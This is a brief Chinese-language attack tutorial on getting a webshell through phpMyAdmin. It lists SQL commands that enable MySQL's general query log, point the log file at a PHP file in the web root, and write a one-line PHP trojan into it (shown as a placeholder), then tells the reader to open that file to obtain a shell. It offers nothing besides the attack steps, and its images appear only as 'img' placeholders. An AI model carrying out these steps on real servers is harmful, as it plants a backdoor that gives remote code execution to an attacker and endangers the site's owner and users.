phpMyAdmin getshell

0、简介

可以利用phpMyAdmin报错日志的功能进行getshell。

1、利用报错日志getshell

1
2
3
4
5
6
7
8
9
#查看日子记录状态
show variables like "general_log%"
#开启日志设置为on
set global general_log='on'
#设置日志保存路径
set global general_log_file ="D:\\phpStudy\\PHPTutorial\\WWW\\ant.php"
#写入一句话木马到日志文件
select "<?php 一句话木马 ?>"
#访问/ant.php拿到shell

img

img

img

img